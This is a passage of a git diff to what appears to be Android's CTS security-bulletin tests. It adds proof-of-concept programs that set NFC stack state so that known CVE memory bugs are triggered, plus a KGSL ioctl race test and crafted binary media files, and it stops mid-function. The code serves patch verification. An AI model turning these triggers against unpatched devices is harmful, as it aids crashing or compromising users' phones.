     // Must match the package name in CtsTestCaseList.mk
     libs: [
-        "cts-tradefed",
-        "tradefed",
         "compatibility-host-util",
+        "cts-tradefed",
+        "sts-host-util",
+        "tradefed",
     ],
 }
 
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0034.ivf b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
new file mode 100644
index 0000000..d03c246
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0481.txt b/hostsidetests/securitybulletin/res/cve_2021_0481.txt
deleted file mode 100644
index f8d64e2c..0000000
--- a/hostsidetests/securitybulletin/res/cve_2021_0481.txt
+++ /dev/null
@@ -1 +0,0 @@
-This is cve_2021-0481.txt
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39664 b/hostsidetests/securitybulletin/res/cve_2021_39664
new file mode 100644
index 0000000..21f7d24
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39664
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39804.heif b/hostsidetests/securitybulletin/res/cve_2021_39804.heif
new file mode 100644
index 0000000..1f95af0
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39804.heif
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
index 326391e..11eb61e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
@@ -39,6 +39,7 @@
         "-Wno-format-nonliteral",
         "-Wstrict-prototypes",
         "-Wmissing-prototypes",
+        "-Wno-unused-but-set-variable",
         "-Wno-unused-parameter",
         "-Wno-unused-variable",
         "-Wno-macro-redefined",
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
index 5d4950a..78dcfcf 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
@@ -124,39 +124,36 @@
 }
 
 void* child_ioctl_0(void* no_use) {
-  int ret = 1;
   time_t test_started = start_timer();
   struct kgsl_drawctxt_destroy kdd = {0};
   kdd.drawctxt_id = kgsl_id;
   set_affinity(1);
 
   while (timer_active(test_started)) {
-    ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
+    ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
   }
   return NULL;
 }
 
 void* child_ioctl_1(void* no_use) {
-  int ret = 1;
   time_t test_started = start_timer();
   struct kgsl_drawctxt_destroy kdd = {0};
   kdd.drawctxt_id = kgsl_id;
   set_affinity(2);
 
   while (timer_active(test_started)) {
-    ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
+    ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
   }
   return NULL;
 }
 
 void* child_ioctl_2(void* no_use) {
-  int ret = 1;
   time_t test_started = start_timer();
   struct kgsl_drawctxt_create kdc = {0, 0};
   kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
   set_affinity(3);
   while (timer_active(test_started)) {
-    ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
+    ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
     kgsl_id = kdc.drawctxt_id;
   }
   return NULL;
@@ -166,8 +163,8 @@
   int i, ret;
   time_t test_started = start_timer();
   struct kgsl_drawctxt_create kdc = {0, 0};
-  kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
   struct kgsl_drawctxt_destroy kdd = {0};
+  kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
 
   /* bind_cpu */
   set_affinity(0);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
index e20c0f2..8494e2c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -23,6 +23,16 @@
 #define INITIAL_VALUE 0xBE
 #define NUM_BYTES 1
 
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
+}
+
 extern tRW_CB rw_cb;
 void rw_init(void);
 void rw_t2t_handle_rsp(uint8_t *p_data);
@@ -33,18 +43,32 @@
 }
 
 int main() {
-  tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
-  rw_init();
-  rw_cb.p_cback = &poc_cback;
-  p_t2t->state = RW_T2T_STATE_DETECT_TLV;
-  p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
-  p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
-  p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
-  p_t2t->bytes_count = NUM_BYTES;
-  p_t2t->tlv_value[1] = UINT8_MAX;
-  uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
-  memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
-  uint8_t data[T2T_READ_DATA_LEN];
-  rw_t2t_handle_rsp(data);
-  return EXIT_SUCCESS;
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+    tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+    rw_init();
+    rw_cb.p_cback = &poc_cback;
+    p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+    p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+    p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+    p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+    p_t2t->bytes_count = NUM_BYTES;
+    p_t2t->tlv_value[1] = UINT8_MAX;
+    p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID);
+    uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
+    memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
+    uint8_t data[T2T_READ_DATA_LEN];
+    isTestInProgress = true;
+    rw_t2t_handle_rsp(data);
+    isTestInProgress = false;
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
index bcbf54f..78f51bd 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
@@ -20,7 +20,23 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
+    name: "CVE-2019-2012",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
new file mode 100644
index 0000000..97556ba
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#include "../includes/common.h"
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (testInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit (EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+        uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+    void *ptr = malloc(size);
+    if (ptr) {
+        memset(ptr, 0x0, size);
+    }
+    return ptr;
+}
+
+/* States */
+enum {
+    RW_T3T_STATE_NOT_ACTIVATED, RW_T3T_STATE_IDLE, RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+    RW_T3T_CMD_DETECT_NDEF,
+    RW_T3T_CMD_CHECK_NDEF,
+    RW_T3T_CMD_UPDATE_NDEF,
+    RW_T3T_CMD_CHECK,
+    RW_T3T_CMD_UPDATE,
+    RW_T3T_CMD_SEND_RAW_FRAME,
+    RW_T3T_CMD_GET_SYSTEM_CODES,
+    RW_T3T_CMD_FORMAT,
+    RW_T3T_CMD_SET_READ_ONLY_SOFT,
+    RW_T3T_CMD_SET_READ_ONLY_HARD,
+    RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+    /* Sub states for formatting Felica-Lite */
+    RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+     formatting) */
+    RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+     block-read to complete */
+    RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+     block-write to complete */
+    RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+     to complete */
+    /* Sub states for setting Felica-Lite read only */
+    RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+     setting read only) */
+    RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+     to complete */
+    RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+     block-read to complete */
+    RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+     block-write to complete */
+};
+
+enum {
+    P_MC_VAL = !T3T_MSG_FELICALITE_MC_OFFSET
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+    (void) event;
+    (void) p_rw_data;
+}
+
+void GKI_freebuf(void* p_buf __attribute__((unused))) {
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {
+}
+
+void GKI_stop_timer(uint8_t) {
+}
+
+void exit_handler(void) {
+    if (p_data) {
+        if (p_data->data.p_data) {
+            free(p_data->data.p_data);
+            p_data->data.p_data = nullptr;
+        }
+        free(p_data);
+        p_data = nullptr;
+    }
+}
+
+int main() {
+    atexit(exit_handler);
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = { };
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+    tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+    GKI_init();
+    rw_init();
+
+    rw_cb.p_cback = &poc_cback;
+    uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+    uint8_t mrti_check = 1, mrti_update = 1;
+    FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
+
+    p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
+    FAIL_CHECK(p_data);
+
+    p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+    FAIL_CHECK(p_data->data.p_data);
+
+    p_data->status = NFC_STATUS_OK;
+    p_t3t->cur_cmd = RW_T3T_CMD_FORMAT;
+    p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+    p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK;
+    NFC_HDR *p_msg = (p_data->data).p_data;
+    p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
+    uint8_t *p_t3t_rsp = (uint8_t *) (p_msg + 1) + (p_msg->offset + 1);
+    p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+    p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+    uint8_t *p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
+    p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = P_MC_VAL;
+    tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    tNFC_CONN_EVT event = NFC_DATA_CEVT;
+    memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+            NCI_NFCID2_LEN);
+
+    testInProgress = true;
+    p_cb->p_cback(0, event, p_data);
+    testInProgress = false;
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
similarity index 65%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
index bcbf54f..5dac7f7a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -20,7 +20,19 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
+    name: "CVE-2019-2017",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+    ],
+    compile_multilib: "64",
+    shared_libs: [
+        "libnfc-nci",
+    ],
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/include",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp
new file mode 100644
index 0000000..9ecc457
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <rw_int.h>
+#include <stdlib.h>
+#include "../includes/common.h"
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+    if (testInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
+}
+
+uint8_t *p_data = nullptr;
+extern tRW_CB rw_cb;
+
+extern void rw_t2t_handle_rsp(uint8_t *p_data);
+
+void poc_cback(uint8_t, tRW_DATA *) {}
+
+void exit_handler(void) {
+    if (p_data) {
+        free(p_data);
+        p_data = nullptr;
+    }
+}
+
+int main() {
+    atexit(exit_handler);
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    FAIL_CHECK(RW_SetActivatedTagType(&p_activate_params, &poc_cback) == NFC_STATUS_OK);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+    tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+    p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+    p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+    p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+    p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+    p_t2t->bytes_count = 0;
+    p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID);
+    rw_cb.p_cback = &poc_cback;
+    p_data = (uint8_t *)malloc(sizeof(uint8_t));
+    FAIL_CHECK(p_data);
+
+    testInProgress = true;
+    rw_t2t_handle_rsp(p_data);
+    testInProgress = false;
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
similarity index 65%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
index bcbf54f..5fdbfdb 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -20,7 +20,19 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
+    name: "CVE-2019-2020",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+    ],
+    compile_multilib: "64",
+    shared_libs: [
+        "libnfc-nci",
+    ],
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/include",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp
new file mode 100644
index 0000000..ba4d950
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+#include <llcp_int.h>
+
+#define DEFAULT_SAP 1
+#define LENGTH 0
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+  if (testInProgress && info->si_signo == SIGSEGV) {
+    (*old_action.sa_sigaction)(signum, info, context);
+    return;
+  }
+  exit(EXIT_FAILURE);
+}
+
+extern tLLCP_CB llcp_cb;
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+
+void GKI_freebuf(void* x) { (void)x; }
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+void GKI_stop_timer(uint8_t) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
+  (void)event;
+  (void)p_rw_data;
+}
+
+int32_t main() {
+  sigemptyset(&new_action.sa_mask);
+  new_action.sa_flags = SA_SIGINFO;
+  new_action.sa_sigaction = sigsegv_handler;
+  sigaction(SIGSEGV, &new_action, &old_action);
+
+  tNFC_ACTIVATE_DEVT p_activate_params = {};
+  p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+  p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+  RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+  FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+  GKI_init();
+  llcp_init();
+  for (int32_t n = 0; n < LLCP_MAX_DATA_LINK; ++n) {
+    llcp_cb.dlcb[n].state = LLCP_DLC_STATE_CONNECTED;
+    llcp_cb.dlcb[n].local_sap = DEFAULT_SAP;
+    llcp_cb.dlcb[n].remote_sap = DEFAULT_SAP;
+  }
+
+  testInProgress = true;
+  llcp_dlc_proc_rx_pdu(DEFAULT_SAP, LLCP_PDU_RNR_TYPE, DEFAULT_SAP, LENGTH,
+                       nullptr);
+  testInProgress = false;
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp
new file mode 100644
index 0000000..639ca91
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-2031",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    shared_libs: [
+        "libnfc-nci",
+        "liblog",
+    ],
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/include",
+        "system/nfc/src/nfa/include",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp
new file mode 100644
index 0000000..1781237
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+  if (testInProgress && info->si_signo == SIGABRT) {
+    (*old_action.sa_sigaction)(signum, info, context);
+    return;
+  }
+  exit(EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+                          uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+  void *ptr = malloc(size);
+  memset(ptr, 0x0, size);
+  return ptr;
+}
+
+/* States */
+enum {
+  RW_T3T_STATE_NOT_ACTIVATED,
+  RW_T3T_STATE_IDLE,
+  RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+  RW_T3T_CMD_DETECT_NDEF,
+  RW_T3T_CMD_CHECK_NDEF,
+  RW_T3T_CMD_UPDATE_NDEF,
+  RW_T3T_CMD_CHECK,
+  RW_T3T_CMD_UPDATE,
+  RW_T3T_CMD_SEND_RAW_FRAME,
+  RW_T3T_CMD_GET_SYSTEM_CODES,
+  RW_T3T_CMD_FORMAT,
+  RW_T3T_CMD_SET_READ_ONLY_SOFT,
+  RW_T3T_CMD_SET_READ_ONLY_HARD,
+  RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+  /* Sub states for formatting Felica-Lite */
+  RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+   formatting) */
+  RW_T3T_FMT_SST_CHECK_MC_BLK,     /* Waiting for Felica-Lite MC (MemoryControl)
+       block-read to complete */
+  RW_T3T_FMT_SST_UPDATE_MC_BLK,    /* Waiting for Felica-Lite MC (MemoryControl)
+      block-write to complete */
+  RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+   to complete */
+
+  /* Sub states for setting Felica-Lite read only */
+  RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+   setting read only) */
+  RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+   to complete */
+  RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+   block-read to complete */
+  RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+   block-write to complete */
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+  (void)event;
+  (void)p_rw_data;
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void GKI_freebuf(void *) {}
+
+void exit_handler(void) {
+  if (p_data) {
+    if (p_data->data.p_data) {
+      free(p_data->data.p_data);
+      p_data->data.p_data = nullptr;
+    }
+    free(p_data);
+    p_data = nullptr;
+  }
+}
+
+int main() {
+  atexit(exit_handler);
+  sigemptyset(&new_action.sa_mask);
+  new_action.sa_flags = SA_SIGINFO;
+  new_action.sa_sigaction = sigabrt_handler;
+  sigaction(SIGABRT, &new_action, &old_action);
+
+  tNFC_ACTIVATE_DEVT p_activate_params = {};
+  p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+  p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
